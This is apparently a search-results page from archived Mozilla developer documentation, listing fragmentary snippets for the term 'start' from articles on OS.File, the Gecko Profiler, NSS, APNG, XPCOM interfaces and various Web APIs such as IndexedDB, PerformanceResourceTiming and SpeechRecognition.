...epending on other fields, it may also be opened for writing. write if true, the file will be opened for writing. depending on other fields, it may also be opened for reading. prior to gecko 27, unless create or truncate are set or explicit unixflags are given, the file will be opened for appending on unix/linux. however, the file is not opened for appending on windows. see bug 924858.
starting with gecko 27, you may use the append flag instead. for an example using append see here. truncate | trunc if true, the file will be opened for writing. if the file does not exist, it will be created. if the file exists, its contents will be removed. cannot be used with create. create if true, file will be opened for writing. the file must not exist. if the file already exists, t...
... >= 27, it is enough, but crucial, to set the correct append flag. var outfile = yield os.file.open("file.tmp", {write: true, append: false}, options); try { // ... do something with that file } finally { yield outfile.close(); } }); example of opening file and keeping it locked this uses tasks.jsm to open a file and keep it open. when you are done with it, like in shutdown of re
startless add-on, you should close the file so it becomes editable again. let options = { winshare: 0 // exclusive lock on windows }; if (os.constants.libc.o_exlock) { // exclusive lock on *nix options.unixflags = os.constants.libc.o_exlock; } let file = yield os.file.open(..., options); then when you want to unlock the file so it can be edited from other places, close the file. file.close(); ...
...And 3 more matches
Gecko Profiler FAQ
below. is it possible to locate hot spots occurring within a single function? the gecko profiler currently doesn’t have the ability to show you information about line numbers, neither for js code nor for native code. for js code, the profiler platform doesn’t capture any information about lines. it only knows what function was executed and what line this function
starts at. for native code, the profiler captures the necessary information but doesn’t have a way to display it. similarly it also can’t show you instruction level information about where each sample was captured (this is why there is no support for line-level sampling for native code either.) at this point the granularity of each sample it displays is a native function. ...
... on your platform of choice (for example xperf/vtune on windows, instruments on osx, and perf/zoom on linux.) one workaround is to break the hot function into several explicitly-non-inline helpers, recompile, and re-profile. this can change some performance characteristics, but is a decent way to get a sense of which parts of a large function are expensive. how to profile
startup code that regresses just a little (<10-15ms ts_paint/tpaint) [mstange] we currently don’t have a good way to do that. you can write your own tools to assist you in this process, though. i did something like this a few years ago with the old profiler and i think something similar would work here: i think there are three main challenges here. you need deterministic profi...
...inistic profiles that can be compared meaningfully, you need to gather enough data / samples, and you need a way to compare profiles. to increase determinism, you really want an automated way of gathering the data. and you’ll want to make sure the profiles only contain data for the time range you’re interested in. to stop the profiler from gathering more samples after the “
startup end” marker that you’re interested in, you can call services.profiler.pause(); or you can insert a marker with a special string and then write a script that filters out all samples that were gathered after your marker. to increase the amount of data, you should run your automated gathering procedure many times, and then combine multiple profiles into one. we don’t have a...
...And 3 more matches
Index
n later be used to easily identify and retrieve it. it's important to note that nss requires strict cleanup for all handles returned by nss. the application should always call the appropriate dereference (destroy) functions once a handle is no longer needed. this is particularly important for applications that might need to close a database and reinitialize nss using a different one, without re
starting. such an operation might fail at runtime if data elements are still being referenced. in addition to the freebl, softoken, and ckbi modules, there is an utility library for general operations (e.g., encoding/decoding between data formats, a list of standardized object identifiers (oid)). nss has an ssl/tls module that implements the secure sockets layer/transport layer security network prot...
...as, which are an attempt to simplify management with the limited offerings of c (because there are no destructors). the idea is to group multiple memory allocations in order to simplify cleanup. performing an operation often involves allocating many individual data items, and the code might be required to abort a task at many positions in the logic. an arena is requested once processing of a task
starts, and all memory allocations that are logically associated to that task are requested from the associated arena. the implementation of arenas makes sure that all individual memory blocks are tracked. once a task is done, regardless whether it completed or was aborted, the programmer simply needs to release the arena, and all individually allocated blocks will be released automatically. often free...
...ble and works fine in all simple scenarios, for example if all (b) candidate issuer certificates have the same subject and issuer names and differ by validity period; however, it works only in a limited amount of more advanced scenarios. unfortunately, the world of certificates has become more complex in the recent past. new certificate authorities enter the global pki market, and in order to get
started with their business, they might make deals with established cas and receive so-called cross-signing-certificates. as a result, when searching for a trust path from (a) to a trusted anchor (root) certificate (z), the set of candidate issuer certificates might have different issuer names (referring to the second or higher issuer level). as a consequence, it will be necessary to try multiple diffe...
...And 3 more matches
Setting up an update server
explorer and selecting properties. you'll find the correct size in bytes at the end of the line that begins "size", not the one that begins "size on disk". be sure to remove the commas when you paste this number into the xml file. ...
... you'll find the correct size in bytes at the end of the line that begins "size", not the one that begins "size on disk". be sure to remove the commas when you paste this number into the xml file. ...
... you paste this number into the xml file. on macos, you can get the exact size of your mar by running the command: stat -f%z <filename> or on linux, the same command would be: stat --format "%s" <filename>
starting your update server now,
start an update server to serve the update files on port 8000. an easy way to do this is with python. remember to navigate to the correct directory before
starting the server. ...
...And 3 more matches
Animated PNG graphics
ned to allow incremental display of frames before the entire image has been read. this implies that some errors may not be detected until partway through the animation. it is strongly recommended that when any error is encountered decoders should discard all subsequent frames, stop the animation, and revert to displaying the default image. a decoder which detects an error before the animation has
started should display the default image. an error message may be displayed to the user if appropriate. structure an apng stream is a normal png stream as defined in the png specification, with three additional chunk types describing the animation and providing additional frame data. to be recognized as an apng, an 'actl' chunk must appear in the stream before any 'idat' chunks. the 'actl' structure...
... appear after the 'fdat' chunks from frame n-1 and before the 'fdat' chunks for frame n. other ancillary chunks are allowed to appear among the apng chunks, including between 'fdat' chunks. exactly one 'fctl' chunk is required for each frame. byte offset field name field type description 0 sequence_number unsigned int sequence number of the animation chunk,
starting with 0. 4 width unsigned int width of the following frame. 8 height unsigned int height of the following frame. 12 x_offset unsigned int x position at which to render the following frame. 16 y_offset unsigned int y position at which to render the following frame. 20 delay_num unsigned short frame delay fr...
...filter byte at the beginning of each scanline, similar to the uncompressed data of all the 'idat' chunks. it utilizes the same bit depth, color type, compression method, filter method, interlace method, and palette (if any) as the default image. byte offset field name field type description 0 sequence_number unsigned int sequence number of the animation chunk,
starting from 0. 4 frame_data x bytes frame data for this frame. each frame inherits every property specified by any critical or ancillary chunks before the first 'idat' in the file, except the width and height, which come from the 'fctl' chunk. if the png 'phys' chunk is present, the apng images and their x_offset and y_offset values must be scaled in the same way as the main...
...And 3 more matches
Finishing the Component
using frozen interfaces the core functionality of blocking sites is still missing, however. ...
... using frozen interfaces the core functionality of blocking sites is still missing, however. ...
...nge the nsisupports implementation macro to include nsicontentpolicy so that other parts of gecko will know weblock supports the nsicontentpolicy interface without modifying this macro. ns_impl_isupports3(weblock, nsiobserver, iweblock, nsicontentpolicy); receiving notifications to receive notifications, you must register as a new category. you have already registered as a category to receive
startup notification. this time, the category name to use is "content-policy". to add the weblock component to this category, modify the weblockregistration callback function so that it looks like this: static ns_method weblockregistration(nsicomponentmanager *acompmgr, nsifile *apath, const char *registrylocation, ...
...And 3 more matches
nsDependentCSubstring external
equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcontainer data members no public members. ...
...blic members. ...
... parameters char** begin cha...
...And 3 more matches
nsDependentSubstring external
g&, print32, print32 (*) rfind findchar rfindchar appendint tointeger base classes nsstringcontainer data members no public members. ...
...c members. ...
... parameters pr...
...And 3 more matches
nsIDBChangeListener
the nsimsgdbhdr of the message that changed. aoldflags the original flags on the message. can be used to figure out what changed. flags are defined in nsmsgmessageflags. anewflags the new flags on the message. can be used to figure out what changed. flags are defined in nsmsgmessageflags. ainstigator the caller who changed the header. this can be used to filter out events that you yourself
started. ainstigator may also be null. onhdrdeleted() called when a header is deleted from the database. void onhdrdeleted(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); parameters ahdrchanged the nsimsgdbhdr of the message that was removed. aparentkey the key of the parent fo...
...elistener ainstigator); parameters ahdrchanged the nsimsgdbhdr of the message that was removed. aparentkey the key of the parent folder for deleted header. the typedef of nsmsgkey is given in mailnewstypes2.idl. aflags the flags on the message. flags are defined in nsmsgmessageflags. ainstigator the caller who deleted the header. this can be used to filter out events that you yourself
started. ainstigator may also be null. onhdradded() called when a header is added to the database. void onhdradded(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); parameters ahdrchanged the nsimsgdbhdr of the message that was added. aparentkey the key of the parent folder for new hea...
...idbchangelistener ainstigator); parameters ahdrchanged the nsimsgdbhdr of the message that was added. aparentkey the key of the parent folder for new header. the typedef of nsmsgkey is given in mailnewstypes2.idl. aflags the flags on the message. flags are defined in nsmsgmessageflags. ainstigator the caller who added the header. this can be used to filter out events that you yourself
started. ainstigator may also be null. onparentchanged() called when a message's parent is changing (i.e. most likely it is being moved). void onparentchanged(in nsmsgkey akeychanged, in nsmsgkey oldparent, in nsmsgkey newparent, in nsidbchangelistener ainstigator); parameters akeychanged the key of the message that changed. t...
...And 3 more matches
getFile
nent_dir "comsd" ns_xpcom_component_dir_list "comsdl" ns_xpcom_component_registry_file "comregf" ns_xpcom_xpti_registry_file "xptiregf" ns_xpcom_library_file "xpcomlib" ns_gre_dir "gred" note: on mac os x, up through firefox 34 this is the contents/macos directory within the application's bundle.
starting with firefox 35, this is contents/resources. this change was required in order to comply with apple's new gatekeeper v2 rules; without this change, firefox would not work on any mac os x newer than 10.9.4. ns_gre_component_dir "grecomsd" platform-specific locations some symbolic names represent platform-specific locations. the following sections cover these. ava...
...n both mac os x and unix implementations of gecko. c constant string value notes ns_os_system_dir "sysd" available on mac os x only these locations are supported only on mac os x versions of gecko. ...
...ly these locations are supported only on microsoft windows builds of gecko. ...
...And 3 more matches
nsIDocShell
attributes attribute type description allowauth boolean certain dochshells (like the message pane) should not throw up auth dialogs because it can act as a password trojan. allowdnsprefetch boolean attribute that determines whether dns prefetch is allowed for this subtree of the docshell tree. defaults to true. setting this will make it take effect
starting with the next document loaded in the docshell. allowimages boolean attribute stating whether or not images should be loaded. allowjavascript boolean whether to allow javascript execution. allowmedia boolean attribute stating whether or not media (audio/video) should be loaded. allowmetaredirects boolean attribute stating if refresh ...
...nsigned long long the id of the docshell in the session history. read only. isactive boolean indicates whether or not the docshell is currently active. an active docshell is one that is currently visible, which means it's not a good candidate for optimizations such as image frame discarding. docshells are active if this is true, which is the default state. note:
starting in gecko 8.0, isactive is false for documents in minimized windows. isapptab boolean sets whether a docshell is an app tab. an app tab docshell may behave differently than a non-app tab docshell in some cases, such as when handling link clicks. docshells are not app tabs unless told otherwise. isexecutingonloadhandler boolean returns true if the docshell...
...ages or web pages are composed in this window. busy_flags_none 0 returned by the busyflags attribute when the nsidocshell is not loading a document. busy_flags_busy 1 returned by the busyflags attribute when the nsidocshell is loading a document from the network. busy_flags_before_page_load 2 returned by the busyflags attribute when the nsidocshell has
started loading a document from the network, but no data has been received yet. busy_flags_page_loading 4 returned by the busyflags attribute when the nsidocshell is receiving data from the network. load_cmd_normal 0x1 returned by the loadtype attribute for normal loads. load_cmd_reload 0x2 returned by the loadtype attribute for reloads. load_cmd_hi...
...And 3 more matches
nsIDragService
dragdrop_action_copy 1 the drag and drop operation should copy the object. dragdrop_action_move 2 the drag and drop operation should move the object. dragdrop_action_link 4 ...
...n mozilla::eventmessage aeventmessage ); parameters aeventmessage one of the event messages between edragdropeventfirst and edragdropeventlast defined in widget/eventmessagelist.h getcurrentsession() returns the current nsidragsession. nsidragsession getcurrentsession(); parameters none. return value the current drag session, or null if no drag is in progress. invokedragsession()
starts a modal drag session with an array of transferables void invokedragsession( in nsidomnode adomnode, in nsisupportsarray atransferables, in nsiscriptableregion aregion, in unsigned long aactiontype ); parameters adomnode the source node on which the drag gesture was
started. atransferables an array of transferables to be dragged. aregion a region containing rectangles for curso...
... a custom image may be specified using the aimage argument. if this is supplied, the aimagex and aimagey arguments specify the offset within the image where the cursor would be positioned. ...
...And 3 more matches
Add to iPhoto
written entirely in javascript. note: this extension uses carbon routines, which can no longer be used in firefox add-ons now that firefox is a 64-bit application. you can download an installable version of this extension on amo. once installed, when you right-click on an image, you'll see among the options in the contextual menu an option to "add image to iphoto". choose it, and iphoto will
start up (if it's not already running) and import the image. declaring the apis the first thing we have to do is declare the mac os x apis we'll be using. this extension uses a number of methods and data types, as well as constants, from three system frameworks. since a lot of this stuff is repetitive, we'll only look at selected parts of the code to get an idea how things work. you can download the...
...or the flags field in the lsapplicationparameters structure: this.klsrolesnone = 1; this.klsrolesviewer = 2; this.klsroleseditor = 4; this.klsrolesall = 0xffffffff; implementing the extension now that the mac os x apis we'll be using have been declared, we can write the core of the extension itself. this is done in the iphoto object in the extension's code. hooking up to the context menu on
startup, we find the content area's context menu and add an event listener to it that will be called when the context menu is displayed. we'll use our handler for this event to add the "add image to iphoto" option if the user has right-clicked on an image. if (document.getelementbyid("contentareacontextmenu")) { document.getelementbyid("contentareacontextmenu").addeventlistener("popupshowing", iphot...
...ge node was found. the code to identify the node looks like this: getcurrentnode: function() { var node = document.popupnode; // if no node, just return null now if (node == undefined || !node) { return null; } // is it an image node? var elemname = node.localname.touppercase(); if (elemname == "img") { return node; } // nope, return null return null; } this
starts by getting the node the popup was opened from. if this is null or undefined, we immediately return null, indicating there is no node associated with the context menu. otherwise, we fetch the name of the element and look to see if it's an <img> element. if so, we return that node; otherwise, we return null. the important thing to take away from this is that this method returns either null or th...
...And 3 more matches
Index - Firefox Developer Tools
er toolbox enables you to debug add-ons and the browser's own javascript code rather than just web pages like the normal toolbox. the browser toolbox's context is the whole browser rather than just single page on a single tab. 16 dom property viewer dom, tools, web development the dom property viewer lets you inspect the properties of the dom as an expandable tree structure,
starting from the window object of the current page or the selected iframe. 17 debugger-api debugger, intermediate, intro, javascript, tools mozilla’s javascript engine, spidermonkey, provides a debugging interface named debugger which lets javascript code observe and manipulate the execution of other javascript code. both firefox’s built-in developer tools and the firebug add-...
...some features of the memory tool. 41 dominators with a garbage-collected language, like javascript, the programmer doesn't generally have to worry about deallocating memory. they can just create and use objects, and when the objects are no longer needed, the runtime takes care of cleaning up, and frees the memory the objects occupied. 42 dominators view
starting in firefox 46, the memory tool includes a new view called the dominators view. this is useful for understanding the "retained size" of objects allocated by your site: that is, the size of the objects themselves plus the size of the objects that they keep alive through references. 43 monster example this article describes a very simple web page that we'll use to illustrate...
... 68 select an element guide, inspector, tools the selected element is the element in the page that the inspector is currently focused on. the selected element is shown in the html pane and its css is displayed in the css pane. 69 select and highlight elements th...
...And 3 more matches
All keyboard shortcuts - Firefox Developer Tools
ift + z cmd + opt + z ctrl + shift + z 1. unlike the other toolbox-hosted tools, this shortcut does not also close the web console. instead, it focuses on the web console's command line. to close the web console, use the global toolbox shortcut of ctrl + shift + i (cmd + opt + i on a mac). 2. before firefox 55, the keyboard shortcut was ctrl + shift + q (cmd + opt + q on a mac). 3.
starting in firefox 71. before firefox 66, the letter in this shortcut was s. toolbox these shortcuts work whenever the toolbox is open, no matter which tool is active. command windows macos linux cycle through tools left to right ctrl + ] cmd + ] ctrl + ] cycle through tools right to left ctrl + [ cmd + [ ctrl + [ toggle between activ...
...e up arrow up arrow up arrow move to first node in the tree. home home home move to last node in the tree. ...
...cted node left arrow left arrow left arrow (when a node is selected) move inside the node so you can
start stepping through attributes. ...
...And 3 more matches
Debugging Firefox Desktop - Firefox Developer Tools
ed is called the debuggee, and the instance of firefox doing the debugging is called the debugger. enable remote debugging first, you'll need to ensure that both debugger and debuggee have the "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging" settings checked in the developer tools settings. ...
...led the debuggee, and the instance of firefox doing the debugging is called the debugger. enable remote debugging first, you'll need to ensure that both debugger and debuggee have the "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging" settings checked in the developer tools settings. you only need to do this once: the setting values persist across re
starts. ...
... doing the debugging is called the debugger. enable remote debugging first, you'll need to ensure that both debugger and debuggee have the "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging" settings checked in the developer tools settings. you only need to do this once: the setting values persist across re
starts.
start the debugger server next, you need to
start the debugger server in the debuggee. ...
...And 3 more matches
AudioParam - Web APIs
ue as of the current time; initially set to the value of defaultvalue. methods audioparam.setvalueattime() schedules an instant change to the value of the audioparam at a precise time, as measured against audiocontext.currenttime. the new value is given by the value parameter. audioparam.linearramptovalueattime() schedules a gradual linear change in the value of the audioparam. ...
...e() schedules a gradual linear change in the value of the audioparam. the change
starts at the time specified for the previous event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter. audioparam.exponentialramptovalueattime() schedules a gradual exponential change in the value of the audioparam. the change
starts at the time specified for the previous event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter. audioparam.settargetattime() schedules the
start of a change to the value of the audioparam. ...
...the exponential decay rate is defined by the timeconstant parameter, which is a time measured in seconds. ...
...And 3 more matches
Using the CSS Painting API - Web APIs
define images which can then be used anywhere a css image can be invoked, such as css background-image, border-image, mask-image, etc. to programmatically create an image used by a css stylesheet we need to work through a few steps: define a paint worklet using the registerpaint() function register the worklet include the paint() css function to elaborate over these steps, we're going to
start by creating a half-highlight background, like on this header: css paint worklet in an external script file, we employ the registerpaint() function to name our css paint worklet. it takes two parameters. the first is the name we give the worklet — this is the name we will use in our css as the parameter of the paint() function when we want to apply this styling to an element. the second para...
...t makes the css painting api so interesting and powerful is that you can create complex images, passing variables, that automatically resize. let's take a look at a more complex paint example. ...
...theight = size.height * 0.85; const color = props.get('--highcolour'); ctx.fillstyle = color; ctx.beginpath(); ctx.moveto( x, y ); ctx.lineto( blockwidth, y ); ctx.lineto( blockwidth + highlightheight, highlightheight ); ctx.lineto( x, highlightheight ); ctx.lineto( x, y ); ctx.closepath(); ctx.fill(); /* create the dashes */ for (let i = 0; i < 4; i++) { let
start = i * 2; ctx.beginpath(); ctx.moveto( (blockwidth) + (
start * 10) + 10, y ); ctx.lineto( (blockwidth) + (
start * 10) + 20, y ); ctx.lineto( (blockwidth) + (
start * 10) + 20 + (highlightheight), highlightheight ); ctx.lineto( (blockwidth) + (
start * 10) + 10 + (highlightheight), highlightheight ); ctx.lineto( (blockwidth) + (
start * 10) + 10, y ); ctx.closepath(); ctx.fill(...
...And 3 more matches
CanvasRenderingContext2D.bezierCurveTo() - Web APIs
syntax void ctx.beziercurveto(cp1x, cp1y, cp2x, cp2y, x, y); parameters cp1x the x-axis coordinate of the first control point. cp1y the y-axis coordinate of the first control point. ...
...d control point. x the x-axis coordinate of the end point. y the y-axis coordinate of the end point. examples how beziercurveto works this example shows how a cubic bézier curve is drawn. ...
...ve is drawn. ...
...And 3 more matches
FileReader - Web APIs
filereader.onabort a handler for the abort event. this event is triggered each time the reading operation is aborted. filereader.onerror a handler for the error event. this event is triggered each time the reading operation encounter an error. filereader.onload a handler for the load event. this event is triggered each time the reading operation is successfully completed. filereader.onload
start a handler for the load
start event. this event is triggered each time the reading is
starting. filereader.onloadend a handler for the loadend event. this event is triggered each time the reading operation is completed (either in success or failure). filereader.onprogress a handler for the progress event. this event is triggered while reading a blob content. as filereader inherits from even...
...her in success or failure). filereader.onprogress a handler for the progress event. this event is triggered while reading a blob content. as filereader inherits from eventtarget, all those events can also be listened for by using the addeventlistener method. methods filereader.abort() aborts the read operation. upon return, the readystate will be done. ...
...ttarget, all those events can also be listened for by using the addeventlistener method. methods filereader.abort() aborts the read operation. upon return, the readystate will be done. filereader.readasarraybuffer()
starts reading the contents of the specified blob, once finished, the result attribute contains an arraybuffer representing the file's data. filereader.readasbinarystring()
starts reading the contents of the specified blob, once finished, the result attribute contains the raw binary data from the file as a string. ...
...And 3 more matches
FileHandle API - Web APIs
form read and write operations to read or write within a handled file, it is required to get a lockedfile. the filehandle.open() method provides such an object which can be readonly or readwrite. any attempt to perform a write action on a readonly lockedfile object will fail. ...
... writing operations on a locked file: write : it's an arbitrary writing method which
starts writing in the file at the lockedfile.location byte. append : this operation always writes content at the end of the file. truncate : this operation keeps the nth-first bytes of the file and removes the rest. ...
... = function () { console.log('something goes wrong in the writing process: ' + this.error); } reading it's possible to directly write the content of a lockedfile object without using an intermediate file object and a filereader object. the lockedfile interface provides a readastext method and a readasarraybuffer method. those two methods expect a size to indicate how many bytes must be read
starting at the lockedfile.location byte. to read the whole file, it is required to know its size. this information (as well as the date of its last modification) can be retrieved through the lockedfile.getmetadata() method. // get a lockedfile object from the handle var myfile = myfilehandle.open('readwrite'); // retrieve the size of the file var getmeta = myfile.getmetadata(); getmeta.onsuccess =...
...And 3 more matches
GlobalEventHandlers - Web APIs
nceled. globaleventhandlers.onanimationend an eventhandler called when an animationend event is sent, indicating that a css animation has stopped playing. globaleventhandlers.onanimationiteration an eventhandler called when an animationiteration event has been sent, indicating that a css animation has begun playing a new iteration of the animation sequence. globaleventhandlers.onanimation
start an eventhandler called when an animation
start event is sent, indicating that a css animation has
started playing. globaleventhandlers.onauxclick an eventhandler called when an auxclick event is sent, indicating that a non-primary button has been pressed on an input device (e.g. a middle mouse button). globaleventhandlers.onblur is an eventhandler representing the code to be called when t...
...sed. globaleventhandlers.ondragexit is an eventhandler representing the code to be called when the dragexit event is raised. globaleventhandlers.ondragleave is an eventhandler representing the code to be called when the dragleave event is raised. globaleventhandlers.ondragover is an eventhandler representing the code to be called when the dragover event is raised. globaleventhandlers.ondrag
start is an eventhandler representing the code to be called when the drag
start event is raised. globaleventhandlers.ondrop is an eventhandler representing the code to be called when the drop event is raised. globaleventhandlers.ondurationchange is an eventhandler representing the code to be called when the durationchange event is raised. globaleventhandlers.onemptied is an eventhandler represent...
...ng the code to be called when the loadeddata event is raised. globaleventhandlers.onloadedmetadata is an eventhandler representing the code to be called when the loadedmetadata event is raised. globaleventhandlers.onloadend is an eventhandler representing the code to be called when the loadend event is raised (when progress has stopped on the loading of a resource.) globaleventhandlers.onload
start is an eventhandler representing the code to be called when the load
start event is raised (when progress has begun on the loading of a resource.) globaleventhandlers.onlostpointercapture is an eventhandler representing the code to be called when the lostpointercapture event type is raised. globaleventhandlers.onmousedown is an eventhandler representing the code to be called when the mousedown...
...And 3 more matches
Using IndexedDB - Web APIs
b. for the reference documentation on the indexeddb api, see the indexeddb article and its subpages. this article documents the types of objects used by indexeddb, as well as the methods of the asynchronous api (the synchronous api was removed from spec). basic pattern the basic pattern that indexeddb encourages is the following: open a database. create an object store in the database.
start a transaction and make a request to do some database operation, like adding or retrieving data. wait for the operation to complete by listening to the right kind of dom event. do something with the results (which can be found on the request object). with these big concepts under our belts, we can get to more concrete stuff. creating and structuring the store using an experimental ...
...be buggy, or incomplete, or following an old version of the specification. therefore, it is not recommended to use it in production code. it may be preferable to not support a browser than to claim to support it and fail: if (!window.indexeddb) { console.log("your browser doesn't support a stable version of indexeddb. such and such feature will not be available."); } opening a database we
start the whole process like this: // let us open our database var request = window.indexeddb.open("mytestdatabase", 3); see that? opening a database is just like any other operation — you have to "request" it. the open request doesn't open the database or
start the transaction right away. the call to the open() function returns an idbopendbrequest object with a result (success) or error value th...
...g you to provide an updated schema in its handler. more on this later in updating the version of the database below, and the idbfactory.open reference page. important: the version number is an unsigned long long number, which means that it can be a very big integer. it also means that you can't use a float, otherwise it will be converted to the closest lower integer and the transaction may not
start, nor the upgradeneeded event trigger. so for example, don't use 2.4 as a version number: var request = indexeddb.open("mytestdatabase", 2.4); // don't do this, as the version will be rounded to 2 generating handlers the first thing you'll want to do with almost all of the requests you generate is to add success and error handlers: request.onerror = function(event) { // do something with re...
...And 3 more matches
Intersection Observer API - Web APIs
the // first box's thresholds are set programmatically // since there will be so many of them (for each percentage // point). let thresholdsets = [ ...
...oxid = "box" + (i+1); template.queryselector(".samplebox").id = boxid; wrapper.appendchild(document.importnode(template, true)); // set up the observer for this box observeroptions.threshold = thresholdsets[i]; observers[i] = new intersectionobserver(intersectioncallback, observeroptions); observers[i].observe(document.queryselector("#" + boxid)); } // scroll to the
starting position document.scrollingelement.scrolltop = wrapper.firstelementchild.getboundingclientrect().top + window.scrolly; document.scrollingelement.scrollleft = 750; } intersectioncallback = (entries) => { entries.foreach((entry) => { let box = entry.target; let visiblepct = (math.floor(entry.intersectionratio * 100)) + "%"; box.queryselector(".topleft").innerhtml = visiblepc...
... the target element's bounding rectangle (that is, the smallest rectangle that fully encloses the bounding boxes of every component that makes...
...And 3 more matches
PerformanceNavigationTiming - Web APIs
g</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface extends the following performanceentry properties for navigation performance entry types by qualifying and constraining them as follows: performanceentry.entrytype read only returns "navigation". performanceentry.name read only returns the document's address. performanceentry.
starttime read only returns a domhighrestimestamp with a value of "0". performanceentry.duration read only returns a timestamp that is the difference between the performancenavigationtiming.loadeventend and performanceentry.
starttime properties. this interface also extends following performanceresourcetiming properties for navigation performance entry types by qualifying and constraining them as...
...nting a time value equal to the time immediately before the browser sets the current document readiness of the current document to complete. performancenavigationtiming.domcontentloadedeventend read only a domhighrestimestamp representing the time value equal to the time immediately after the current document's domcontentloaded event completes. performancenavigationtiming.domcontentloadedevent
start read only a domhighrestimestamp representing the time value equal to the time immediately before the user agent fires the domcontentloaded event at the current document. performancenavigationtiming.dominteractive read only a domhighrestimestamp representing a timestamp representing the time value equal to the time immediately before the user agent sets the current document readiness of the c...
... a domhighrestimestamp representing a timestamp representing the time value equal to the time immediately before the user agent sets the current document readiness of the current document to interactive. performancenavigationtiming.loadeventend read only a domhighrestimestamp representing the time when the load event of the current document is completed. performancenavigationtiming.loadevent
start read only a domhighrestimestamp representing the time value equal to the time immediately before the load event of the current document is fired. performancenavigationtiming.redirectcount read only a number representing the number of redirects since the last non-redirect navigation under the current browsing context. if there was no redirect, or if the redirect was from another origin, and ...
...And 3 more matches
PerformanceResourceTiming.connectEnd - Web APIs
urce. the timestamp value includes the time interval to establish the transport connection, as well as other time intervals such as ssl handshake and socks authentication. note: this feature is available in web workers. syntax resource.connectend; return value a domhighrestimestamp representing the time after a connection is established. ...
... domhighrestimestamp representing the time after a connection is established. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...nnection is established. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 3 more matches
PerformanceResourceTiming.domainLookupEnd - Web APIs
the domainlookupend read-only property returns the timestamp immediately after the browser finishes the domain name lookup for the resource. if the user agent has the domain information in cache, domainlookup
start and domainlookupend represent the times when the user agent
starts and ends the domain data retrieval from the cache. note: this feature is available in web workers. syntax resource.domainlookupend; return value a domhighrestimestamp representing the time immediately after the browser finishes the domain name lookup for the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.ge...
...mediately after the browser finishes the domain name lookup for the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...lookup for the resource. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 3 more matches
PerformanceResourceTiming.redirectEnd - Web APIs
irected resource, this property returns the time immediately after receiving the last byte of the response of the last redirect; otherwise, zero is returned. note: this feature is available in web workers. syntax resource.redirectend; return value a timestamp immediately after receiving the last byte of the response of the last redirect. ...
...mediately after receiving the last byte of the response of the last redirect. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...se of the last redirect. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 3 more matches
PerformanceResourceTiming.responseEnd - Web APIs
immediately before the transport connection is closed, whichever comes first. note: this feature is available in web workers. syntax resource.responseend; return value a domhighrestimestamp immediately after the browser receives the last byte of the resource or immediately before the transport connection is closed, whichever comes first. ...
...immediately before the transport connection is closed, whichever comes first. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
..., whichever comes first. example in the following example, the value of the *
start and *end properties of all "resource" type events are logged. ...
...And 3 more matches
RTCPeerConnection.setConfiguration() - Web APIs
uration() to add ice servers before ice negotiation could begin. renegotiation of the connection is needed, and a different set of ice servers needs to be used for some reason. perhaps the user has moved into a new region, so using new regional ice servers is necessary, for example. in this situation, one might call setconfiguration() to switch to new regional ice servers, then initiate an ice re
start. you cannot change the identity information for a connection once it's already been set. syntax rtcpeerconnection.setconfiguration(configuration); parameters configuration an rtcconfiguration object which provides the options to be set. the changes are not additive; instead, the new values completely replace the existing ones. exceptions invalidaccesserror one or more of the urls...
... already has identity information specified. this happens if configuration.peeridentity or configuration.certificates is set and their values differ from the current configuration. invalidstateerror the rtcpeerconnection is closed. syntaxerror one or more of the urls provided in the configuration.iceservers list is invalid. ...
...onfiguration.certificates is set and their values differ from the current configuration. invalidstateerror the rtcpeerconnection is closed. syntaxerror one or more of the urls provided in the configuration.iceservers list is invalid. example in this example, it has already been determined that ice re
start is needed, and that negotiation needs to be done using a different ice server. ...
...And 3 more matches
SpeechRecognition - Web APIs
used by the current speechrecognition to handle the actual recognition. the default is the user agent's default speech service. methods speechrecognition also inherits methods from its parent interface, eventtarget. speechrecognition.abort() stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a speechrecognitionresult. speechrecognition.
start()
starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current speechrecognition. speechrecognition.stop() stops the speech recognition service from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far. events listen to these events using addeventlistener() or by assig...
...ent to recognize grammars associated with the current speechrecognition. speechrecognition.stop() stops the speech recognition service from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far. events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. audio
start fired when the user agent has
started to capture audio. also available via the onaudio
start property. audioend fired when the user agent has finished capturing audio. also available via the onaudioend property. end fired when the speech recognition service has disconnected. also available via the onend property. error fired when a speech recognition error occurs. also available via the...
...esult with no significant recognition. this may involve some degree of recognition, which doesn't meet or exceed the confidence threshold. also available via the onnomatch property. result fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app. also available via the onresult property. sound
start fired when any sound — recognisable speech or not — has been detected. also available via the onsound
start property. soundend fired when any sound — recognisable speech or not — has stopped being detected. also available via the onsoundend property. speech
start fired when sound that is recognised by the speech recognition service as speech has been detected. also available via the...
...And 3 more matches
A simple RTCDataChannel sample - Web APIs
n just look at the code itself on github, below we'll review the parts of the code that do the heavy lifting. the webrtc api makes heavy use of promises. they make it very easy to chain the steps of the connection process together; if you haven't already read up on this functionality of ecmascript 2015, you should read up on them. similarly, this example uses arrow functions to simplify syntax. ...
